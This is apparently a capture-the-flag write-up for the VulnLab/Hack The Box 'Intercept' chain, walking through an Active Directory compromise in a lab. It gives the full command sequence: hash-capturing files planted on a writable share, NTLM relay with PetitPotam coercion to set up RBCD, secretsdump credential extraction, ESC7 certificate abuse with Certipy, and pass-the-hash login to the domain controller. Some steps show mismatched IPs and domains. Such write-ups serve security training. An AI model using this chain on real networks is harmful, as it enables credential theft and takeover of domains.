VL-Intercept

, , , ,

Intercept Chain - VulnLab / Hack The Box Writeup & Walkthrough

Introduction

This is a comprehensive writeup and walkthrough for the Intercept Chain, a Chain / ProLab from VulnLab / Hack The Box that focuses on Active Directory exploitation techniques. This challenge tests your skills in NTLM relay attacks, RBCD (Resource-Based Constrained Delegation), WebClient exploitation, and Active Directory Certificate Services (AD CS) vulnerabilities. This walkthrough will guide you through the complete attack chain from initial access to domain administrator privileges.

Initial Reconnaissance

Target Information

1
2
10.10.144.229 dc01.intercept.vl
10.10.144.230 ws01.intercept.vl

Nmap Scan - DC01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP 
3269/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP 
3389/tcp  open  ms-wbt-server syn-ack Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: INTERCEPT
|   NetBIOS_Domain_Name: INTERCEPT
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: intercept.vl
|   DNS_Computer_Name: DC01.intercept.vl
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack Microsoft Windows RPC
52789/tcp open  msrpc         syn-ack Microsoft Windows RPC
52796/tcp open  msrpc         syn-ack Microsoft Windows RPC
52819/tcp open  msrpc         syn-ack Microsoft Windows RPC
52841/tcp open  msrpc         syn-ack Microsoft Windows RPC

Nmap Scan - WS01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PORT     STATE SERVICE       REASON  VERSION
135/tcp  open  msrpc         syn-ack Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds? syn-ack
3389/tcp open  ms-wbt-server syn-ack Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: INTERCEPT
|   NetBIOS_Domain_Name: INTERCEPT
|   NetBIOS_Computer_Name: WS01
|   DNS_Domain_Name: intercept.vl
|   DNS_Computer_Name: WS01.intercept.vl
5985/tcp open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

From the scans, we identify a standard domain controller (DC01) and a workstation (WS01). Given the lab’s name “Intercept,” we can anticipate that NTLM relay attacks will be a key component of this challenge.

SMB Enumeration & Relay Target Identification

First, let’s identify potential relay targets:

1
netexec smb 10.10.144.229-230 --gen-relay-list relay.txt

The results show that only WS01 is vulnerable to relay attacks. Next, we check for null authentication on SMB shares:

1
2
smbclient -L //10.10.144.229
smbclient -L //10.10.144.230

SMB Shares on WS01

Accessing the dev share reveals multiple files:

1
smbclient //10.10.144.230/dev

We discover a README file with the following content:

1
Please check this share regularly for updates to the application (this is a temporary solution until we switch to gitlab).

Within the project folder, there’s a kernel_driver subdirectory containing another README:

1
Driver still in development, coming soon.

Since we have write access to this share, we can leverage it to capture NTLM hashes by planting malicious files.

Capturing NTLM Hashes

We’ll use the ntlm_theft tool to generate files that will force authentication back to our machine:

1
python3 ntlm_theft.py --generate all --server <Your IP> -f kernel_driver

Start Responder in another terminal:

1
sudo responder -I tun0

Navigate to the folder created by the tool, start an SMB session, and upload all files:

1
2
3
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mput *

Within seconds, we capture an NTLMv2 hash:

Captured Hash

Crack the hash using hashcat:

1
hashcat hash /usr/share/wordlists/rockyou.txt

The hash cracks successfully:

1
kathryn.spencer:<PASS>

Active Directory Enumeration with BloodHound

Now that we have valid credentials, let’s gather AD information using BloodHound:

1
netexec ldap dc01.intercept.vl -u kathryn.spencer -p <PASS> --bloodhound --dns-server 10.10.144.229 -c ALL --dns-tcp

Key Findings

Simon Bowen Information

Vincent Woods Attack Path

The user kathryn.spencer can enroll up to 10 machines into the domain:

Machine Account Quota

While no vulnerable certificate templates are immediately exploitable from a machine account, this capability will be crucial for exploiting RBCD once we obtain access to Vincent.Woods.

WebClient Service Exploitation

With limited privileges, we need to find an exploitation path. After researching, I found a technique involving the WebClient service for lateral movement:

Reference: Lateral Movement: WebClient Workstation Takeover

First, verify if WebDAV is enabled on WS01:

1
2
netexec smb 10.10.144.230 -u kathryn.spencer -p <PASS> -M webdav
WebClient Service enabled on: 10.10.144.230

Attack Strategy

The attack path involves:

  1. Creating a new machine account
  2. Adding a DNS entry pointing to our attack machine
  3. Coercing authentication from WS01 (which has WebClient enabled)
  4. Relaying the authentication to the DC via LDAP
  5. Modifying msDS-AllowedToActOnBehalfOfOtherIdentity on WS01 to enable RBCD
  6. Impersonating a privileged user to compromise WS01

Additional RBCD Resources:

Note: This attack requires LDAP signing to be disabled on the DC. If SMB signing were also disabled, we could relay directly to SMB, but in this case, LDAP is our only viable target.

Setting Up the RBCD Attack Chain

Step 1: Configure DNS

Before proceeding, modify /etc/resolv.conf (keep a backup of your original configuration):

1
2
search intercept.vl
nameserver <DC IP HERE>

Warning: You won’t be able to access the internet until you restore your original /etc/resolv.conf.

Add the DNS entry pointing to your attack machine:

1
dnstool.py -u intercept.vl\\kathryn.spencer -p '<PASS>' -r pan.intercept.vl -d 10.8.0.36 --action add dc01.intercept.vl

Tool: krbrelayx

Step 2: Create a Machine Account

1
impacket-addcomputer -computer-name 'PAN02$' -computer-pass 'HelloWorld123!' -dc-host dc01.intercept.vl -domain-netbios intercept 'INTERCEPT/Kathryn.Spencer:<PASS>'

Step 3: Setup NTLM Relay

Configure ntlmrelayx to relay authentication and establish RBCD on WS01:

1
sudo ntlmrelayx.py -smb2support -t ldaps://dc01.intercept.vl --http-port 8080 --delegate-access --escalate-user PAN02\$ --no-dump --no-acl --no-da

Step 4: Coerce Authentication

Use PetitPotam to force WS01 to authenticate to our attack machine:

1
python3 PetitPotam.py -d intercept.vl -u 'Kathryn.Spencer' -p '<PASS>' pan@8080/a ws01.intercept.vl

Tool: PetitPotam

Step 5: Request Service Ticket

After successfully relaying the authentication and configuring RBCD, request a service ticket for the CIFS service while impersonating the local administrator:

1
impacket-getST -spn cifs/ws01.intercept.vl intercept.vl/PAN02\$ -impersonate administrator

Step 6: Dump Credentials

Export the Kerberos ticket and dump the credentials from WS01:

1
2
export KRB5CCNAME=administrator.ccache
impacket-secretsdump -k -no-pass ws01.intercept.vl

Extracting Credentials

We successfully extract the Administrator hash:

1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<HASH>:::

And the cleartext password for Simon.Bowen:

1
2
[*] _SC_HelpdeskService 
Simon.Bowen@intercept.vl:<PASS>

Privilege Escalation via CA-MANAGERS Group

Since Simon.Bowen has GenericAll permissions over the CA-MANAGERS group, we can add ourselves to it:

1
net rpc group addmem "CA-MANAGERS" "Simon.Bowen" -U "INTERCEPT.VL"/"Simon.Bowen"%'<PASS>' -S "dc01.intercept.vl"

Verify the group membership:

1
net rpc group members "CA-MANAGERS" -U "INTERCEPT.VL"/"Simon.Bowen"%'<PASS>' -S "dc01.intercept.vl"

Alternative method using bloodyAD:

1
bloodyAD -d corp.local --host 172.16.1.5 -u user -p ... add groupMember 'user' group

Exploiting ESC7 - Active Directory Certificate Services

Enumerate certificate templates using Certipy:

1
certipy find -target 10.10.218.37 -dc-ip 10.10.218.37 -u 'Simon.Bowen' -p '<PASS>' -debug -vulnerable

Vulnerable CA Configuration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Certificate Authorities
  0
    CA Name                             : intercept-DC01-CA
    DNS Name                            : DC01.intercept.vl
    Certificate Subject                 : CN=intercept-DC01-CA, DC=intercept, DC=vl
    Certificate Serial Number           : 363C8F207710ECA145882994517A9848
    Certificate Validity Start          : 2023-06-27 13:24:59+00:00
    Certificate Validity End            : 2125-11-16 11:16:26+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : INTERCEPT.VL\Administrators
      Access Rights
        Enroll                          : INTERCEPT.VL\Authenticated Users
        ManageCa                        : INTERCEPT.VL\ca-managers
                                          INTERCEPT.VL\Domain Admins
                                          INTERCEPT.VL\Enterprise Admins
                                          INTERCEPT.VL\Administrators
        ManageCertificates              : INTERCEPT.VL\Domain Admins
                                          INTERCEPT.VL\Enterprise Admins
                                          INTERCEPT.VL\Administrators
    [!] Vulnerabilities
      ESC7                              : 'INTERCEPT.VL\\ca-managers' has dangerous permissions
Certificate Templates                   : [!] Could not find any certificate templates

The CA is vulnerable to ESC7, which allows members of ca-managers to issue certificates arbitrarily.

Reference: Active Directory Certificate Attack - ESC7

ESC7 Exploitation Steps

Step 1: Add Simon as an Officer

1
certipy ca -ca intercept-DC01-CA -dc-ip 10.10.218.37 -u 'Simon.Bowen' -p '<PASS>' -add-officer Simon.Bowen

Step 2: Request a SubCA Certificate

Request a certificate using the SubCA template with the Administrator UPN:

1
certipy req -ca intercept-DC01-CA -dc-ip 10.10.218.37 -u 'Simon.Bowen' -p '<PASS>' -template SubCA -target dc01.intercept.vl -upn administrator@intercept.vl

Note: When prompted Would you like to save the private key? (y/N), press y.

Step 3: Issue the Failed Certificate

1
certipy ca -ca intercept-DC01-CA -dc-ip 10.10.218.37 -u 'Simon.Bowen' -p '<PASS>' -issue-request (ID of your cert)

Step 4: Retrieve the Issued Certificate

1
certipy req -ca intercept-DC01-CA -dc-ip 10.10.218.37 -u 'Simon.Bowen' -p '<PASS>' -template SubCA -target dc01.intercept.vl -upn administrator@shield.local -retrieve (ID of your cert)

Step 5: Authenticate and Obtain Administrator Hash

1
certipy auth -pfx administrator.pfx

Final Access

Use the obtained administrator hash to access the domain controller via WinRM:

1
evil-winrm -i dc01.intercept.vl -u 'administrator' -H <HASH>

Congratulations! You now have Domain Administrator access and can retrieve the root flag.

https://api.vulnlab.com/api/v1/share?id=65de1d68-c470-41c4-b3d9-f46f9e047e8c